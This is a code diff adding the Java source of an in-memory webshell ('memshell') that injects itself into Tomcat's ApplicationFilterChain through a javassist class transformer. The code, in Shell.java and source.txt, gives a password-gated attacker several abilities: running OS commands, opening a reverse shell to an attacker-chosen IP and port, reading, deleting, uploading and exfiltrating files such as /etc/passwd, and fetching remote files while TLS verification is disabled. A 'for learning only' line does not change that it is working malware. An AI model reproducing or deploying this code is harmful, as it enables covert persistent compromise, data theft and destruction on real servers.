+			OutputStream os = p.getOutputStream();
+			InputStream in = p.getInputStream();
+			DataInputStream dis = new DataInputStream(in);
+			String disr = dis.readLine();
+			while (disr != null) {
+				result = result + disr + "\n";
+				disr = dis.readLine();
+			}
+		}
+		return result;
+	}
+
+	public static String connectBack(String ip, String port) throws Exception {
+		class StreamConnector extends Thread {
+			InputStream sp;
+			OutputStream gh;
+
+			StreamConnector(InputStream sp, OutputStream gh) {
+				this.sp = sp;
+				this.gh = gh;
+			}
+
+			public void run() {
+				BufferedReader xp = null;
+				BufferedWriter ydg = null;
+				try {
+					xp = new BufferedReader(new InputStreamReader(this.sp));
+					ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
+					char buffer[] = new char[8192];
+					int length;
+					while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
+						ydg.write(buffer, 0, length);
+						ydg.flush();
+					}
+				} catch (Exception e) {
+				}
+				try {
+					if (xp != null)
+						xp.close();
+					if (ydg != null)
+						ydg.close();
+				} catch (Exception e) {
+				}
+			}
+		}
+		try {
+			String ShellPath;
+			if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
+				ShellPath = new String("/bin/sh");
+			} else {
+				ShellPath = new String("cmd.exe");
+			}
+
+			Socket socket = new Socket(ip, Integer.parseInt(port));
+			Process process = Runtime.getRuntime().exec(ShellPath);
+			(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
+			(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
+			return "Successful!";
+		} catch (Exception e) {
+			return e.getMessage();
+		}
+	}
+
+	public static String help() {
+		return "Webshell in Memory:\n\n" + "Usage:\n" + "anyurl?pwd=pass //show this help page.\n"
+				+ "anyurl?pwd=pass&model=exec&cmd=whoami  //run os command.\n"
+				+ "anyurl?pwd=pass&model=connectback&ip=8.8.8.8&port=51 //reverse a shell back to 8.8.8.8 on port 51.\n"
+				+ "anyurl?pwd=pass&model=urldownload&url=http://xxx.com/test.pdf&path=/tmp/test.pdf //download a remote file via the victim's network directly.\n"
+				+ "anyurl?pwd=pass&model=list[del|show]&path=/etc/passwd  //list,delete,show the specified path or file.\n"
+				+ "anyurl?pwd=pass&model=download&path=/etc/passwd  //download the specified file on the victim's disk.\n"
+				+ "anyurl?pwd=pass&model=upload&path=/tmp/a.elf&content=this_is_content[&type=b]   //upload a text file or a base64 encoded binary file to the victim's disk.\n"
+				+ "anyurl?pwd=pass&model=proxy  //start a socks proxy server on the victim.\n"
+				+ "anyurl?pwd=pass&model=chopper  //start a chopper server agent on the victim.\n\n"
+				+ "For learning exchanges only, do not use for illegal purposes.by rebeyond.\n";
+	}
+
+	public static String list(String path) {
+		String result = "";
+		File f = new File(path);
+		if (f.isDirectory()) {
+			for (File temp : f.listFiles()) {
+				if (temp.isFile()) {
+					result = result + (temp.isDirectory()?"r":"-") + "    " + temp.getName() + "   " + temp.length() + "\n";
+				}
+				else {
+					result = result + (temp.isDirectory()?"r":"-")+ "    " + temp.getName() + "   " + temp.length() + "\n";
+				}
+			}
+		} else {
+			result = result + f.isDirectory() + "    " + f.getName() + "   " + f.length() + "\n";
+		}
+		return result;
+	}
+	public static String delete(String path) {
+		String result = "";
+		File f = new File(path);
+		if (f.isDirectory()) {
+			result = deleteDir(f)?"delete directory "+path+" successfully.":"delete "+path+" failed(maybe only some files are not deleted).";
+		} else {
+			result = f.delete()?"delete "+path+" successfully.":"delete "+path+" failed.";
+		}
+		return result;
+	}
+	public static String showFile(String path) throws Exception {
+		StringBuffer result= new StringBuffer();
+		File f = new File(path);
+		if (f.exists()&&f.isFile()) {
+            FileReader reader = new FileReader(f);
+            BufferedReader br = new BufferedReader(reader);
+            String str = null;
+            while((str = br.readLine()) != null) {
+            	result.append(str+"\n");
+            }
+            br.close();
+            reader.close();
+		} 
+		return result.toString();
+	}
+	private static boolean deleteDir(File dir){
+		boolean result=true;
+		  if(dir.isDirectory()){
+		   File[] files = dir.listFiles();
+		   for(int i=0; i<files.length; i++) {
+		    deleteDir(files[i]);
+		   }
+		  }
+		 if (!dir.delete())
+		 {
+			 result=false;
+		 }
+		 return result;
+		 }
+	public static void download(String path) {
+		/*File f = new File(path);
+		if (f.isFile()) {
+			String fileName = f.getName(); // 文件的默认保存名
+			// 读到流中
+			InputStream inStream = new FileInputStream(path);// 文件的存放路径
+			// 设置输出的格式
+			response.reset();
+			response.setContentType("bin");
+			response.addHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\"");
+			// 循环取出流中的数据
+			byte[] b = new byte[100];
+			int len;
+			try {
+				while ((len = inStream.read(b)) > 0)
+					response.getOutputStream().write(b, 0, len);
+				inStream.close();
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+
+		}*/
+
+	}
+	public static String upload(String path,String fileContent,String type) throws Exception
+	{
+		FileOutputStream fos=new FileOutputStream(path);
+		if (type.equalsIgnoreCase("a"))
+		{
+			fos.write(fileContent.getBytes());
+			fos.flush();
+		}
+		else if(type.equalsIgnoreCase("b"))
+		{
+			fos.write(Base64.getDecoder().decode(fileContent));
+		}
+		fos.close();
+		return "file " + path + " is upload successfully,and size is " + new File(path).length() + " Byte.";
+	}
+
+	public static String urldownload(String url, String path) throws Exception {
+		SSLContext sslcontext = SSLContext.getInstance("SSL", "SunJSSE");
+		sslcontext.init(null, new TrustManager[] { new X509TrustManager() {
+
+			@Override
+			public void checkClientTrusted(java.security.cert.X509Certificate[] arg0, String arg1)
+					throws CertificateException {
+				// TODO Auto-generated method stub
+
+			}
+
+			@Override
+			public void checkServerTrusted(java.security.cert.X509Certificate[] arg0, String arg1)
+					throws CertificateException {
+				// TODO Auto-generated method stub
+
+			}
+
+			@Override
+			public java.security.cert.X509Certificate[] getAcceptedIssuers() {
+				// TODO Auto-generated method stub
+				return null;
+			}
+
+		} }, new java.security.SecureRandom());
+		// URL url = new URL(url);
+		HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() {
+			public boolean verify(String s, SSLSession sslsession) {
+				return true;
+			}
+		};
+		HttpURLConnection urlCon;
+		URL downloadUrl=new URL(url);
+			HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier);
+			HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory());
+			urlCon = (HttpsURLConnection) downloadUrl.openConnection();
+			urlCon.setConnectTimeout(6000);
+			urlCon.setReadTimeout(6000);
+			int code = urlCon.getResponseCode();
+			if (code != HttpURLConnection.HTTP_OK) {
+				throw new Exception("文件读取失败");
+			}
+			// 读文件流
+			DataInputStream in = new DataInputStream(urlCon.getInputStream());
+			DataOutputStream out = new DataOutputStream(new FileOutputStream(path));
+			byte[] buffer = new byte[2048];
+			int count = 0;
+			while ((count = in.read(buffer)) > 0) {
+				out.write(buffer, 0, count);
+				out.flush();
+			}
+			out.close();
+			in.close();
+		return "file " + path + " downloaded successfully,and size is " + new File(path).length() + " Byte.";
+	}
+
+	public static void main(String[] args) {
+		try {
+			// System.out.println(Shell.execute("net user").replace("\n", "aaaaaaaaaaa"));
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+	}
+
+	public static void eval(ServletRequest request, ServletResponse response) throws Exception {
+		/*
+		 * Class c=Class.forName("javax/servlet/ServletRequest");
+		 * System.out.println("classs is :"+c); Evaluate eval=new Evaluate();
+		 * eval.doGet(request, response);
+		 */
+	}
+}

src/net/rebeyond/memshell/Transformer.java

@@ -0,0 +1,53 @@
+package net.rebeyond.memshell;
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.IllegalClassFormatException;
+import java.security.ProtectionDomain;
+
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+
+public class Transformer implements ClassFileTransformer{
+    @Override
+    public byte[] transform(ClassLoader classLoader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
+    	
+
+        if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) {
+            try {
+            	Class a=Class.forName("javassist.CtClass");
+                ClassPool cp = ClassPool.getDefault();
+                CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");
+                CtMethod m = cc.getDeclaredMethod("internalDoFilter");
+                m.addLocalVariable("elapsedTime", CtClass.longType);
+                m.insertBefore(readSource());
+                byte[] byteCode = cc.toBytecode();
+                cc.detach();
+                return byteCode;
+            } catch (Exception ex) {
+                System.out.println("error:::::"+ex.getMessage());
+            }
+        }
+
+        return null;
+    }
+    public String readSource() {
+    	StringBuilder source=new StringBuilder();
+        InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt");
+        InputStreamReader isr = new InputStreamReader(is); 
+        String line=null;
+        try {
+            BufferedReader br = new BufferedReader(isr);
+            while((line=br.readLine()) != null) {
+            	source.append(line);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        } 
+        return source.toString();
+    }
+}

src/net/rebeyond/memshell/redefine/MyRequest.java

@@ -0,0 +1,31 @@
+package net.rebeyond.memshell.redefine;
+import java.lang.reflect.InvocationTargetException;
+
+public class MyRequest {
+	public static String getParameter(Object request,String name) throws Exception
+	{
+		return (String)request.getClass().getMethod("getParameter", String.class).invoke(request, name);
+	}
+	public static Object getServletContext(Object request) throws Exception
+	{
+		return request.getClass().getMethod("getServletContext", null).invoke(request, new Object[] {});
+	}
+	public static String getHeader(Object request,String name) throws Exception
+	{
+		return (String)request.getClass().getMethod("getHeader", String.class).invoke(request, name);
+	}
+	
+	public static Object getSession(Object request) throws Exception
+	{
+		return request.getClass().getMethod("getSession",  null).invoke(request, new Object[] {});
+	}
+	public static int getContentLength(Object request) throws Exception
+	{
+		return Integer.parseInt(request.getClass().getMethod("getContentLength",  null).invoke(request, new Object[] {}).toString());
+	}
+	
+	public static Object getInputStream(Object request) throws Exception
+	{
+		return request.getClass().getMethod("getInputStream", null).invoke(request, new Object[] {});
+	}
+}

src/net/rebeyond/memshell/redefine/MyResponse.java

@@ -0,0 +1,33 @@
+package net.rebeyond.memshell.redefine;
+import java.io.PrintWriter;
+import java.lang.reflect.InvocationTargetException;
+
+public class MyResponse {
+	public static void setContentType(Object response,String arg) throws Exception
+	{
+		response.getClass().getMethod("setContentType", String.class).invoke(response, arg);
+	}
+	public static void setCharacterEncoding(Object response,String arg) throws Exception
+	{
+		response.getClass().getMethod("setCharacterEncoding", String.class).invoke(response, arg);
+	}
+	public static PrintWriter getWriter(Object response) throws Exception
+	{
+		return (PrintWriter)response.getClass().getMethod("getWriter",null).invoke(response, new Object[] {});
+	}
+	
+	public static void reset(Object response) throws Exception
+	{
+		response.getClass().getMethod("reset", null).invoke(response, new Object[] {});
+	}
+	
+	public static Object getOutputStream(Object response) throws Exception
+	{
+		return response.getClass().getMethod("getOutputStream", null).invoke(response, new Object[] {});
+	}
+	public static void setHeader(Object response,String arg1,String arg2) throws Exception
+	{
+		response.getClass().getMethod("setHeader", String.class, String.class).invoke(response, arg1,arg2);
+	}
+	
+}

src/net/rebeyond/memshell/redefine/MyServletContext.java

@@ -0,0 +1,8 @@
+package net.rebeyond.memshell.redefine;
+
+public class MyServletContext {
+	public static String getRealPath(Object servletContext ,String arg) throws Exception
+	{
+		return servletContext.getClass().getMethod("getRealPath", String.class).invoke(servletContext, arg).toString();
+	}
+}

src/net/rebeyond/memshell/redefine/MyServletInputStream.java

@@ -0,0 +1,9 @@
+package net.rebeyond.memshell.redefine;
+
+public class MyServletInputStream {
+	public static void read(Object servletInputStream ,byte[] a,int b,int c) throws Exception
+	{
+		servletInputStream.getClass().getMethod("read", byte[].class,int.class,int.class).invoke(servletInputStream, a,b,c);
+	}
+	
+}

src/net/rebeyond/memshell/redefine/MyServletOutputStream.java

@@ -0,0 +1,18 @@
+package net.rebeyond.memshell.redefine;
+
+public class MyServletOutputStream {
+	public static void write(Object servletOutputStream ,byte[] a,int b,int c) throws Exception
+	{
+		servletOutputStream.getClass().getMethod("write", byte[].class,int.class,int.class).invoke(servletOutputStream, a,b,c);
+	}
+	
+	public static void close(Object servletOutputStream ) throws Exception
+	{
+		servletOutputStream.getClass().getMethod("close",null).invoke(servletOutputStream,new Object[] {});
+	}
+	
+	public static void flush(Object servletOutputStream ) throws Exception
+	{
+		servletOutputStream.getClass().getMethod("flush",null).invoke(servletOutputStream,new Object[] {});
+	}
+}

src/net/rebeyond/memshell/redefine/MySession.java

@@ -0,0 +1,20 @@
+package net.rebeyond.memshell.redefine;
+
+
+public class MySession {
+	public static void setAttribute(Object httpSession,String arg1,Object arg2) throws Exception
+	{
+		httpSession.getClass().getMethod("setAttribute",String.class,Object.class).invoke(httpSession, arg1,arg2);
+	}
+	
+	public static Object getAttribute(Object httpSession,String arg1) throws Exception
+	{
+		return httpSession.getClass().getMethod("getAttribute",String.class).invoke(httpSession, arg1);
+	}
+	
+	
+	public static void invalidate(Object httpSession) throws Exception
+	{
+		httpSession.getClass().getMethod("invalidate",null).invoke(httpSession, new Object[] {});
+	}
+}

src/source.txt

@@ -0,0 +1,92 @@
+	javax.servlet.http.HttpServletRequest request=$1;
+	javax.servlet.http.HttpServletResponse response = $2;
+	String pass_the_world=request.getParameter("pass_the_world");
+	String model=request.getParameter("model");
+	String result="";
+
+try {
+			if (pass_the_world!=null&&pass_the_world.equals(net.rebeyond.memshell.Agent.password))
+			{
+				if (model==null||model.equals(""))
+				{
+					result=net.rebeyond.memshell.Shell.help();
+				}
+				else if (model.equalsIgnoreCase("exec"))
+				{
+					String cmd=request.getParameter("cmd");
+					result=net.rebeyond.memshell.Shell.execute(cmd);
+				}
+				else if (model.equalsIgnoreCase("connectback"))
+				{
+					String ip=request.getParameter("ip");
+					String port=request.getParameter("port");
+					result=net.rebeyond.memshell.Shell.connectBack(ip, port);
+				}
+				else if (model.equalsIgnoreCase("urldownload"))
+				{
+					String url=request.getParameter("url");
+					String path=request.getParameter("path");
+					result=net.rebeyond.memshell.Shell.urldownload(url, path);
+				}
+				else if (model.equalsIgnoreCase("list"))
+				{
+					String path=request.getParameter("path");
+					result=net.rebeyond.memshell.Shell.list(path);
+				}
+				else if (model.equalsIgnoreCase("del"))
+				{
+					String path=request.getParameter("path");
+					result=net.rebeyond.memshell.Shell.delete(path);
+				}
+				else if (model.equalsIgnoreCase("show"))
+				{
+					String path=request.getParameter("path");
+					result=net.rebeyond.memshell.Shell.showFile(path);
+				}
+				else if (model.equalsIgnoreCase("download"))
+				{
+					String path=request.getParameter("path");
+					java.io.File f = new java.io.File(path);
+					if (f.isFile()) {
+						String fileName = f.getName();
+						java.io.InputStream inStream = new java.io.FileInputStream(path);
+						response.reset();
+						response.setContentType("bin");
+						response.addHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\"");
+						byte[] b = new byte[100];
+						int len;
+							while ((len = inStream.read(b)) > 0)
+								response.getOutputStream().write(b, 0, len);
+							inStream.close();
+							return;
+
+					}
+				}
+				else if (model.equalsIgnoreCase("upload"))
+				{
+					String path=request.getParameter("path");
+					String fileContent=request.getParameter("content");
+					String type=request.getParameter("type");
+					if (type==null||!type.equalsIgnoreCase("b"))
+						type="a";
+					result=net.rebeyond.memshell.Shell.upload(path, fileContent,type);
+				}
+				else if (model.equalsIgnoreCase("proxy"))
+				{
+					new net.rebeyond.memshell.Proxy().doProxy(request, response);
+					return;
+				}
+				else if (model.equalsIgnoreCase("chopper"))
+				{
+					new net.rebeyond.memshell.Evaluate().doPost(request, response);
+					return;
+				}
+				response.getWriter().print(result);
+				return;
+			}
+			
+		}
+		catch(Exception e)
+		{
+			response.getWriter().print(e.getMessage());
+		}